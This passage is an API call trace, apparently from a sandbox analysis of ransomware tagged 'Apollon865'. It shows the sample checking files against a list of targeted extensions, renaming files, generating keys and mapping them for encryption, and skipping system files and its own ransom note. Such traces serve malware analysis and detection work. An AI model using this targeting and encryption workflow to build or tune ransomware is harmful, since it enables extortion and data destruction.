	[0080.764] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0080.764] lstrlenW (lpString="mar") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0080.764] lstrlenW (lpString="marshal") returned 7
	[0080.764] lstrcmpiW (lpString1="nts.ico", lpString2="marshal") returned 1
	[0080.764] lstrlenW (lpString="mas") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0080.764] lstrlenW (lpString="mav") returned 3
	[0080.764] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0080.764] lstrlenW (lpString="maw") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0080.765] lstrlenW (lpString="mdbhtml") returned 7
	[0080.765] lstrcmpiW (lpString1="nts.ico", lpString2="mdbhtml") returned 1
	[0080.765] lstrlenW (lpString="mdn") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0080.765] lstrlenW (lpString="mdt") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0080.765] lstrlenW (lpString="mfd") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0080.765] lstrlenW (lpString="mpd") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0080.765] lstrlenW (lpString="mrg") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0080.765] lstrlenW (lpString="mud") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0080.765] lstrlenW (lpString="mwb") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0080.765] lstrlenW (lpString="myd") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0080.765] lstrlenW (lpString="ndf") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0080.765] lstrlenW (lpString="nnt") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0080.765] lstrlenW (lpString="nrmlib") returned 6
	[0080.765] lstrcmpiW (lpString1="ts.ico", lpString2="nrmlib") returned 1
	[0080.765] lstrlenW (lpString="ns2") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0080.765] lstrlenW (lpString="ns3") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0080.765] lstrlenW (lpString="ns4") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0080.765] lstrlenW (lpString="nsf") returned 3
	[0080.765] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0080.765] lstrlenW (lpString="nv") returned 2
	[0080.765] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0080.765] lstrlenW (lpString="nv2") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0080.766] lstrlenW (lpString="nwdb") returned 4
	[0080.766] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0080.766] lstrlenW (lpString="nyf") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0080.766] lstrlenW (lpString="odb") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.766] lstrlenW (lpString="odb") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.766] lstrlenW (lpString="oqy") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0080.766] lstrlenW (lpString="ora") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0080.766] lstrlenW (lpString="orx") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0080.766] lstrlenW (lpString="owc") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0080.766] lstrlenW (lpString="p96") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0080.766] lstrlenW (lpString="p97") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0080.766] lstrlenW (lpString="pan") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0080.766] lstrlenW (lpString="pdb") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0080.766] lstrlenW (lpString="pdm") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0080.766] lstrlenW (lpString="pnz") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0080.766] lstrlenW (lpString="qry") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0080.766] lstrlenW (lpString="qvd") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0080.766] lstrlenW (lpString="rbf") returned 3
	[0080.766] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0080.767] lstrlenW (lpString="rctd") returned 4
	[0080.767] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0080.767] lstrlenW (lpString="rod") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0080.767] lstrlenW (lpString="rodx") returned 4
	[0080.767] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0080.767] lstrlenW (lpString="rpd") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0080.767] lstrlenW (lpString="rsd") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0080.767] lstrlenW (lpString="sas7bdat") returned 8
	[0080.767] lstrcmpiW (lpString1="ints.ico", lpString2="sas7bdat") returned -1
	[0080.767] lstrlenW (lpString="sbf") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0080.767] lstrlenW (lpString="scx") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0080.767] lstrlenW (lpString="sdb") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0080.767] lstrlenW (lpString="sdc") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0080.767] lstrlenW (lpString="sdf") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0080.767] lstrlenW (lpString="sis") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0080.767] lstrlenW (lpString="spq") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0080.767] lstrlenW (lpString="te") returned 2
	[0080.767] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0080.767] lstrlenW (lpString="teacher") returned 7
	[0080.767] lstrcmpiW (lpString1="nts.ico", lpString2="teacher") returned -1
	[0080.767] lstrlenW (lpString="tmd") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0080.767] lstrlenW (lpString="tps") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0080.767] lstrlenW (lpString="trc") returned 3
	[0080.767] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.768] lstrlenW (lpString="trc") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.768] lstrlenW (lpString="trm") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0080.768] lstrlenW (lpString="udb") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0080.768] lstrlenW (lpString="udl") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0080.768] lstrlenW (lpString="usr") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0080.768] lstrlenW (lpString="v12") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0080.768] lstrlenW (lpString="vis") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0080.768] lstrlenW (lpString="vpd") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0080.768] lstrlenW (lpString="vvv") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0080.768] lstrlenW (lpString="wdb") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0080.768] lstrlenW (lpString="wmdb") returned 4
	[0080.768] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0080.768] lstrlenW (lpString="wrk") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0080.768] lstrlenW (lpString="xdb") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0080.768] lstrlenW (lpString="xld") returned 3
	[0080.768] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0080.768] lstrlenW (lpString="xmlff") returned 5
	[0080.768] lstrcmpiW (lpString1="s.ico", lpString2="xmlff") returned -1
	[0080.768] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.Apollon865") returned 64
	[0080.768] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico.apollon865"), dwFlags=0x1) returned 1
	[0080.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.770] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=348974) returned 1
	[0080.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.770] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.771] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.771] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.771] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55630, lpName=0x0) returned 0x15c
	[0080.773] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55630) returned 0x210000
	[0080.798] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.799] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.799] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.800] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0080.803] CloseHandle (hObject=0x15c) returned 1
	[0080.803] CloseHandle (hObject=0x9c) returned 1
	[0080.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.805] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="Apollon865.txt.exe") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2=".") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="..") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="windows") returned -1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="bootmgr") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="temp") returned -1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="pagefile.sys") returned -1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="boot") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="ids.txt") returned 1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="ntuser.dat") returned -1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="perflogs") returned -1
	[0080.805] lstrcmpiW (lpString1="MySite.ico", lpString2="MSBuild") returned 1
	[0080.805] lstrlenW (lpString="MySite.ico") returned 10
	[0080.805] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico") returned 53
	[0080.805] lstrcpyW (in: lpString1=0x119e650, lpString2="MySite.ico" | out: lpString1="MySite.ico") returned="MySite.ico"
	[0080.806] lstrlenW (lpString="MySite.ico") returned 10
	[0080.806] lstrlenW (lpString="Apollon865") returned 10
	[0080.806] lstrlenW (lpString=".dll") returned 4
	[0080.806] lstrcmpiW (lpString1="MySite.ico", lpString2=".dll") returned 1
	[0080.806] lstrlenW (lpString=".lnk") returned 4
	[0080.806] lstrcmpiW (lpString1="MySite.ico", lpString2=".lnk") returned 1
	[0080.806] lstrlenW (lpString=".ini") returned 4
	[0080.806] lstrcmpiW (lpString1="MySite.ico", lpString2=".ini") returned 1
	[0080.806] lstrlenW (lpString=".sys") returned 4
	[0080.806] lstrcmpiW (lpString1="MySite.ico", lpString2=".sys") returned 1
	[0080.806] lstrlenW (lpString="MySite.ico") returned 10
	[0080.806] lstrlenW (lpString="bak") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0080.806] lstrlenW (lpString="ba_") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0080.806] lstrlenW (lpString="dbb") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0080.806] lstrlenW (lpString="vmdk") returned 4
	[0080.806] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0080.806] lstrlenW (lpString="rar") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0080.806] lstrlenW (lpString="zip") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0080.806] lstrlenW (lpString="tgz") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0080.806] lstrlenW (lpString="vbox") returned 4
	[0080.806] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0080.806] lstrlenW (lpString="vdi") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0080.806] lstrlenW (lpString="vhd") returned 3
	[0080.806] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0080.806] lstrlenW (lpString="vhdx") returned 4
	[0080.806] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0080.806] lstrlenW (lpString="avhd") returned 4
	[0080.806] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0080.806] lstrlenW (lpString="db") returned 2
	[0080.806] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0080.807] lstrlenW (lpString="db2") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0080.807] lstrlenW (lpString="db3") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0080.807] lstrlenW (lpString="dbf") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0080.807] lstrlenW (lpString="mdf") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0080.807] lstrlenW (lpString="mdb") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0080.807] lstrlenW (lpString="sql") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0080.807] lstrlenW (lpString="sqlite") returned 6
	[0080.807] lstrcmpiW (lpString1="te.ico", lpString2="sqlite") returned 1
	[0080.807] lstrlenW (lpString="sqlite3") returned 7
	[0080.807] lstrcmpiW (lpString1="ite.ico", lpString2="sqlite3") returned -1
	[0080.807] lstrlenW (lpString="sqlitedb") returned 8
	[0080.807] lstrcmpiW (lpString1="Site.ico", lpString2="sqlitedb") returned -1
	[0080.807] lstrlenW (lpString="xml") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0080.807] lstrlenW (lpString="$er") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0080.807] lstrlenW (lpString="4dd") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0080.807] lstrlenW (lpString="4dl") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0080.807] lstrlenW (lpString="^^^") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0080.807] lstrlenW (lpString="abs") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0080.807] lstrlenW (lpString="abx") returned 3
	[0080.807] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0080.807] lstrlenW (lpString="accdb") returned 5
	[0080.807] lstrcmpiW (lpString1="e.ico", lpString2="accdb") returned 1
	[0080.807] lstrlenW (lpString="accdc") returned 5
	[0080.807] lstrcmpiW (lpString1="e.ico", lpString2="accdc") returned 1
	[0080.807] lstrlenW (lpString="accde") returned 5
	[0080.808] lstrcmpiW (lpString1="e.ico", lpString2="accde") returned 1
	[0080.808] lstrlenW (lpString="accdr") returned 5
	[0080.808] lstrcmpiW (lpString1="e.ico", lpString2="accdr") returned 1
	[0080.808] lstrlenW (lpString="accdt") returned 5
	[0080.808] lstrcmpiW (lpString1="e.ico", lpString2="accdt") returned 1
	[0080.808] lstrlenW (lpString="accdw") returned 5
	[0080.808] lstrcmpiW (lpString1="e.ico", lpString2="accdw") returned 1
	[0080.808] lstrlenW (lpString="accft") returned 5
	[0080.808] lstrcmpiW (lpString1="e.ico", lpString2="accft") returned 1
	[0080.808] lstrlenW (lpString="adb") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.808] lstrlenW (lpString="adb") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.808] lstrlenW (lpString="ade") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0080.808] lstrlenW (lpString="adf") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0080.808] lstrlenW (lpString="adn") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0080.808] lstrlenW (lpString="adp") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0080.808] lstrlenW (lpString="alf") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0080.808] lstrlenW (lpString="ask") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0080.808] lstrlenW (lpString="btr") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0080.808] lstrlenW (lpString="cat") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0080.808] lstrlenW (lpString="cdb") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0080.808] lstrlenW (lpString="ckp") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0080.808] lstrlenW (lpString="cma") returned 3
	[0080.808] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0080.808] lstrlenW (lpString="cpd") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0080.809] lstrlenW (lpString="dacpac") returned 6
	[0080.809] lstrcmpiW (lpString1="te.ico", lpString2="dacpac") returned 1
	[0080.809] lstrlenW (lpString="dad") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0080.809] lstrlenW (lpString="dadiagrams") returned 10
	[0080.809] lstrlenW (lpString="daschema") returned 8
	[0080.809] lstrcmpiW (lpString1="Site.ico", lpString2="daschema") returned 1
	[0080.809] lstrlenW (lpString="db-journal") returned 10
	[0080.809] lstrlenW (lpString="db-shm") returned 6
	[0080.809] lstrcmpiW (lpString1="te.ico", lpString2="db-shm") returned 1
	[0080.809] lstrlenW (lpString="db-wal") returned 6
	[0080.809] lstrcmpiW (lpString1="te.ico", lpString2="db-wal") returned 1
	[0080.809] lstrlenW (lpString="dbc") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0080.809] lstrlenW (lpString="dbs") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0080.809] lstrlenW (lpString="dbt") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0080.809] lstrlenW (lpString="dbv") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0080.809] lstrlenW (lpString="dbx") returned 3
	[0080.809] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0080.809] lstrlenW (lpString="dcb") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0080.810] lstrlenW (lpString="dct") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0080.810] lstrlenW (lpString="dcx") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0080.810] lstrlenW (lpString="ddl") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0080.810] lstrlenW (lpString="dlis") returned 4
	[0080.810] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0080.810] lstrlenW (lpString="dp1") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0080.810] lstrlenW (lpString="dqy") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0080.810] lstrlenW (lpString="dsk") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0080.810] lstrlenW (lpString="dsn") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0080.810] lstrlenW (lpString="dtsx") returned 4
	[0080.810] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0080.810] lstrlenW (lpString="dxl") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0080.810] lstrlenW (lpString="eco") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0080.810] lstrlenW (lpString="ecx") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0080.810] lstrlenW (lpString="edb") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0080.810] lstrlenW (lpString="epim") returned 4
	[0080.810] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0080.810] lstrlenW (lpString="fcd") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0080.810] lstrlenW (lpString="fdb") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0080.810] lstrlenW (lpString="fic") returned 3
	[0080.810] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0080.810] lstrlenW (lpString="flexolibrary") returned 12
	[0080.810] lstrlenW (lpString="fm5") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0080.811] lstrlenW (lpString="fmp") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0080.811] lstrlenW (lpString="fmp12") returned 5
	[0080.811] lstrcmpiW (lpString1="e.ico", lpString2="fmp12") returned -1
	[0080.811] lstrlenW (lpString="fmpsl") returned 5
	[0080.811] lstrcmpiW (lpString1="e.ico", lpString2="fmpsl") returned -1
	[0080.811] lstrlenW (lpString="fol") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0080.811] lstrlenW (lpString="fp3") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0080.811] lstrlenW (lpString="fp4") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0080.811] lstrlenW (lpString="fp5") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0080.811] lstrlenW (lpString="fp7") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0080.811] lstrlenW (lpString="fpt") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0080.811] lstrlenW (lpString="frm") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0080.811] lstrlenW (lpString="gdb") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.811] lstrlenW (lpString="gdb") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.811] lstrlenW (lpString="grdb") returned 4
	[0080.811] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0080.811] lstrlenW (lpString="gwi") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0080.811] lstrlenW (lpString="hdb") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0080.811] lstrlenW (lpString="his") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0080.811] lstrlenW (lpString="ib") returned 2
	[0080.811] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0080.811] lstrlenW (lpString="idb") returned 3
	[0080.811] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0080.811] lstrlenW (lpString="ihx") returned 3
	[0080.812] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0080.812] lstrlenW (lpString="itdb") returned 4
	[0080.812] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0080.812] lstrlenW (lpString="itw") returned 3
